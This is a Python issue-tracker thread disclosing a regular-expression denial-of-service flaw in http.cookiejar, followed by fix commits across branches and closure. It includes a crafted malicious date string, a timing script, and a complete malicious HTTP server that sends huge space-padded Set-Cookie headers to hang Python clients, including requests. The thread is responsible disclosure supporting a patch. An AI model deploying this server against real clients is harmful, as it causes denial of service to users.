The regex http.cookiejar.LOOSE_HTTP_DATE_RE iss vulnerable to regularexpression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time.The regex http.cookiejar.LOOSE_HTTP_DATE_RE contains multiple overlapping \s* capture groups.Ignoring the ?-optional capture groups the regex can be simplified to    \d+-\w+-\d+(\s*\s*\s*)$Therefore, a long sequence of spaces can trigger bad performance.LOOSE_HTTP_DATE_RE backtracks if last character doesn't match \s or (?![APap][Mm]\b)[A-Za-z]+Matching a malicious string such as    LOOSE_HTTP_DATE_RE.match("1-1-1" + (" " * 2000) + "!")will cause catastrophic backtracking.Timing test:    import http.cookiejar    import timeit    def run(n_spaces):        assert n_spaces <= 65506, "Set-Cookie header line must be <= 65536"        spaces = " " * n_spaces        expires = f"1-1-1{spaces}!"        http2time = http.cookiejar.http2time        t = timeit.Timer(            'http2time(expires)',            globals=locals(),        )        print(n_spaces, "{:.3g}".format(t.autorange()[1]))    i = 512    while True:        run(i)        i <<= 1Timeit output (seconds) on my computer when doubling the number of spaces:    512     0.383    1024    3.02    2048   23.4    4096  184    8192 1700As expected it's approx O(n^3). The maximum n_spaces to fit in a Set-Cookie header is 65506 which will take days.You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g.    from http.server import BaseHTTPRequestHandler, HTTPServer    def make_set_cookie_value(n_spaces):        spaces = " " * n_spaces        expiry = f"1-1-1{spaces}!"        return f"x;Expires={expiry}"    class Handler(BaseHTTPRequestHandler):        def do_GET(self):            self.log_request(204)            self.send_response_only(204)  # Don't bother sending Server and Date            n_spaces = (                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences                if len(self.path) > 1 else                65506  # Max header line length 65536            )            value = make_set_cookie_value(n_spaces)            for i in range(99):  # Not necessary, but we can have up to 100 header lines                self.send_header("Set-Cookie", value)            self.end_headers()    if __name__ == "__main__":        HTTPServer(("", 44020), Handler).serve_forever()This server returns 99 Set-Cookie headers. Each has 65506 spaces.Extracting the cookies will pretty much never complete.Vulnerable client using the example at the bottom ofhttps://docs.python.org/3/library/http.cookiejar.html :    import http.cookiejar, urllib.request    cj = http.cookiejar.CookieJar()    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))    r = opener.open("http://localhost:44020/")The popular requests library is also vulnerable without any additional options (as it uses http.cookiejar by default):    import requests    requests.get("http://localhost:44020/")As such, python applications need to be careful not to visit malicious servers.I have a patch. Will make a PR soon.This was originally submitted to the security list, but posted here 'since this is "merely" a DoS attack and not a privilege escalation'.- Ben

New changeset1b779bfb8593739b11cbb988ef82a883ec9d077e by Victor Stinner (bcaller) in branch 'master':bpo-38804: Fix REDoS in http.cookiejar (GH-17157)https://github.com/python/cpython/commit/1b779bfb8593739b11cbb988ef82a883ec9d077e

New changeseta1e1be4c4969c7c20c8c958e5ab5279ae6a66a16 by Miss Islington (bot) in branch '3.8':bpo-38804: Fix REDoS in http.cookiejar (GH-17157)https://github.com/python/cpython/commit/a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16

New changesetcb6085138a845f8324adc011b65754acc2086cc0 by Miss Islington (bot) in branch '3.7':bpo-38804: Fix REDoS in http.cookiejar (GH-17157)https://github.com/python/cpython/commit/cb6085138a845f8324adc011b65754acc2086cc0

I'm now tracking this vulnerability at:https://python-security.readthedocs.io/vuln/cookiejar-redos.html

New changeset0716056c49e9505041e30386dad9b2e788f67aaf by Ned Deily (Miss Islington (bot)) in branch '3.6':bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17343)https://github.com/python/cpython/commit/0716056c49e9505041e30386dad9b2e788f67aaf

New changesete6499033032d5b647e43a3b49da0c1c64b151743 by Victor Stinner in branch '2.7':bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (GH-17345)https://github.com/python/cpython/commit/e6499033032d5b647e43a3b49da0c1c64b151743

New changeset55a6a16a46239a71b635584e532feb8b17ae7fdf by Victor Stinner in branch '3.5':bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344)https://github.com/python/cpython/commit/55a6a16a46239a71b635584e532feb8b17ae7fdf

The fix landed in all maintained versions, thanks. I close the issue.